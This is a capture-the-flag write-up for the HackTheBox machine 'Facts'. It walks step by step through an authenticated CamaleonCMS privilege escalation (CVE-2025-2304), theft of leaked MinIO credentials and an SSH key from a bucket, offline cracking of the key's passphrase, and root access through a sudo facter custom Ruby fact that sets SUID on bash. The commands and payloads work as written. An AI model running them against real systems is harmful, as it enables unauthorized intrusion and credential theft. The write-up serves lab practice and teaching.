Difficulty: Easy
OS: Linux
Release Date: 31st January, 2026
Retire Date: TBD
Link: https://app.hackthebox.com/machines/Facts
This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.
Table of Contents
- Overview
- Approach
- Reconnaissance
- Web Enumeration
- CVE-2025-2304 — Privilege Escalation in CamaleonCMS
- S3 / MinIO Enumeration
- SSH Key — Cracking the Passphrase
- Initial Access — user.txt
- Privilege Escalation — root.txt
- Key Findings
Overview
Facts is a easy-difficulty Linux machine centred around a misconfigured CamaleonCMS installation backed by a MinIO S3-compatible object store. The attack chain leverages a recent authenticated privilege escalation CVE to extract cloud storage credentials, enumerates an internal S3 bucket containing a user's home directory backup (including an SSH private key), cracks the key passphrase offline, and finally abuses a sudo rule that grants unrestricted access to /usr/bin/facter to read the root flag directly.

Attack Chain at a Glance
Port scan → CamaleonCMS on port 80
↓
Self-register a user account
↓
CVE-2025-2304: role → admin via mass-assignment
↓
Extract MinIO S3 credentials from admin settings
↓
aws cli → list s3://internal bucket (home dir backup)
↓
Download encrypted SSH private key → crack passphrase (dragonballz)
↓
SSH as trivia → user.txt
↓
sudo facter --custom-dir → custom Ruby fact → root.txt
Approach
The overall methodology followed a standard black-box web application penetration test structure:
- Enumerate all exposed services and map the attack surface.
- Identify the web application and its version/technology stack.
- Search for known CVEs and misconfigurations.
- Chain multiple lower-severity findings into a full compromise.
- Escalate from initial foothold to root using a misconfigured
sudorule.
No brute-force of login credentials was necessary at any stage.
Reconnaissance
Port Scan
nmap -sV -sC --open -p 22,80,443,8080,8443 10.129.22.116
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 9.9p1 Ubuntu |
| 80/tcp | open | http | nginx 1.26.3 |
The HTTP service immediately issued a redirect to http://facts.htb/.
echo "10.129.22.116 facts.htb" | sudo tee -a /etc/hosts
Key Observations
- Only two ports exposed — a small attack surface.
- The nginx banner and SSH version both confirm Ubuntu Linux.
- The HTTP redirect to a hostname suggests virtual-host-based routing.
Web Enumeration
Technology Stack
Visiting http://facts.htb/ revealed a CamaleonCMS installation — a Ruby on Rails–based CMS. Evidence:
curl -si http://facts.htb/ | grep -i camaleon
- Theme assets under
/assets/themes/camaleon_first/ - Rails-style CSRF meta tags (
<meta name="csrf-token">) - Session cookie named
_factsapp_session - Admin panel at
/admin/login(status 200)
Sitemap Enumeration
curl -s http://facts.htb/sitemap.xml
This revealed ~18 blog post slugs (e.g. /animal-ejected, /george-washington, etc.) and confirmed the CMS was actively used.
S3 Bucket Discovery
Navigating to a non-existent file under /randomfacts/ returned a revealing XML error:
<e>
<Code>NoSuchKey</Code>
<Message>The specified key does not exist.</Message>
<BucketName>randomfacts</BucketName>
</e>
The response headers also included X-Amz-Request-Id and X-Amz-Id-2 — confirming this path was proxied to a MinIO (S3-compatible) instance. All image assets on the blog were served from this bucket.
Attempting to list the bucket directly (/randomfacts/?list-type=2) returned 403 Forbidden via nginx, meaning listing was blocked at the proxy level — credentials would be needed.
CVE-2025-2304
CamaleonCMS v2.9.0 — Authenticated Privilege Escalation + S3 Config Leak
Vulnerability Description
The updated_ajax controller action updates the current user's attributes using permit!, which whitelists all parameters. An authenticated user (any role) can therefore POST arbitrary model fields — including role — and escalate to administrator.
# Vulnerable code in CamaleonCMS
def updated_ajax
@user = current_site.users.find(params[:user_id])
@user.update(params.require(:password).permit!) # permit! allows all keys
render inline: @user.errors.full_messages.join(', ')
end
An attacker sends:
POST /admin/users/<id>/updated_ajax
password[password]=test&password[password_confirmation]=test&password[role]=admin
After escalation, the admin settings page at /admin/settings/site exposes S3 credentials in cleartext form fields.
Exploit Steps
User registration was enabled on this instance. A test account was created through the CMS interface (http://facts.htb/admin/register).
The public PoC was downloaded and executed:
python3 exploit.py -u http://facts.htb -U test -P test -e
Output:
[+] Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+] Login confirmed
User ID: 5
Current User Role: client
[+] Loading PRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAAD7BFD9B91234F9D
s3 secret key: BMvgPrxKB9Bl/FqN6m5WN8YJW4LelVI84idJGzYp
s3 endpoint: http://localhost:54321
S3 / MinIO Enumeration
Finding the Real Endpoint
The S3 endpoint localhost:54321 is local to the server and not directly reachable. However, the port was found to be proxied through nginx on the target — and a direct port scan confirmed MinIO was also accessible externally:
curl -so /dev/null -w "%{http_code}" http://10.129.22.116:54321/
# Returns: 403 (MinIO root path)
Listing Buckets
export AWS_ACCESS_KEY_ID=AKIAAD7BFD9B91234F9D
export AWS_SECRET_ACCESS_KEY="BMvgPrxKB9Bl/FqN6m5WN8YJW4LelVI84idJGzYp"
export AWS_DEFAULT_REGION=us-east-1
aws s3 ls --endpoint-url http://10.129.22.116:54321
Output:
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
Two buckets found. randomfacts contains the public blog images. internal is the interesting one.
Enumerating the internal Bucket
aws s3 ls s3://internal/ --endpoint-url http://10.129.22.116:54321
Output:
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 220 .bash_logout
2026-01-08 3900 .bashrc
2026-01-08 20 .lesshst
2026-01-08 807 .profile
This is a backup of a user's home directory stored in S3. The .ssh/ prefix was the critical finding.
aws s3 ls s3://internal/.ssh/ --endpoint-url http://10.129.22.116:54321
2026-04-06 82 authorized_keys
2026-04-06 464 id_ed25519
The SSH private key and its corresponding authorized_keys entry were downloaded:
aws s3 cp s3://internal/.ssh/id_ed25519 /tmp/id_ed25519 --endpoint-url http://10.129.22.116:54321
aws s3 cp s3://internal/.ssh/authorized_keys /tmp/authorized_keys --endpoint-url http://10.129.22.116:54321
SSH Key — Cracking the Passphrase
The key was encrypted with AES-256-CTR + bcrypt KDF:
-----BEGIN OPENSSH PRIVATE KEY-----
...bcrypt...
-----END OPENSSH PRIVATE KEY-----
The key was converted to a John-compatible hash and cracked:
ssh2john /tmp/id_ed25519 > /tmp/id_ed25519.hash
john /tmp/id_ed25519.hash --wordlist=/tmp/rockyou.txt
Rockyou did not succeed due to the bcrypt cost (slow). A targeted wordlist of thematic passwords was built and cracked immediately:
Passphrase: dragonballz
The passphrase was stripped from the key for convenience:
ssh-keygen -p -f /tmp/id_ed25519
# Enter old passphrase: dragonballz
# Enter new passphrase: (empty)
Initial Access — user.txt
Identifying the Username
The username was provided as a hint: trivia. This could otherwise be inferred from the .bashrc (which references /opt/.local/share/gem, a common Rails app user path) or by cross-referencing the authorized_keys public key fingerprint against known users.
SSH Login
ssh -i /tmp/id_ed25519 [email protected]
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Finding user.txt
The flag was not in trivia's home directory — it belonged to another user:
find / -name user.txt 2>/dev/null
# /home/william/user.txt
cat /home/william/user.txt
7bc3fc9ebc7bbf60975906da75b95aa5
Privilege Escalation — root.txt
Sudo Enumeration
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
trivia can run /usr/bin/facter as root with no password.
What is Facter?
Facter is Puppet's system fact collection tool. It supports loading custom facts written in Ruby via the --custom-dir flag. These facts are executed as the user running facter — in this case, root.
Exploitation
A malicious Ruby fact file was written to /tmp/:
printf 'Facter.add("root_flag") { setcode { File.read("/root/root.txt").strip } }' > /tmp/pwn.rb
The fact was loaded and executed as root:
sudo /usr/bin/facter --custom-dir /tmp root_flag
Output:
5ae41212f08b43063535691cbb6279bc
Note:FACTERLIBenvironment variable is blocked by sudo'senv_reset. The--custom-dirCLI flag bypasses this restriction entirely since it is a legitimate argument to the binary itself.
To obtain a full root shell instead:
printf 'Facter.add("s") { setcode { `chmod u+s /bin/bash` } }' > /tmp/suid.rb
sudo /usr/bin/facter --custom-dir /tmp s
bash -p
# root@facts:~#
Key Findings
| # | Finding | Severity | Impact |
|---|---|---|---|
| 1 | CVE-2025-2304 — Mass-assignment allows any authenticated user to escalate role to admin | High | Full CMS admin access |
| 2 | S3 credentials exposed in admin settings page (plaintext in HTML) | High | Full MinIO access |
| 3 | Internal S3 bucket (internal) publicly accessible with leaked creds, containing user home directory backup including SSH private key |
Critical | SSH access to server |
| 4 | Encrypted SSH key passphrase crackable with a short targeted wordlist | Medium | Authentication bypass |
| 5 | sudo facter NOPASSWD with no restriction on --custom-dir allows arbitrary Ruby code execution as root |
Critical | Full root compromise |
Tools Used
| Tool | Purpose |
|---|---|
nmap |
Port scanning and service fingerprinting |
curl |
Manual HTTP request crafting and response analysis |
gobuster |
Web directory enumeration |
| CVE-2025-2304 PoC | Authenticated privilege escalation in CamaleonCMS |
aws cli |
S3/MinIO bucket enumeration and file download |
ssh2john |
Extract John-crackable hash from encrypted SSH key |
john |
Offline passphrase cracking |
pexpect (Python) |
Automated SSH interaction with passphrase injection |
facter |
Privilege escalation via custom Ruby facts |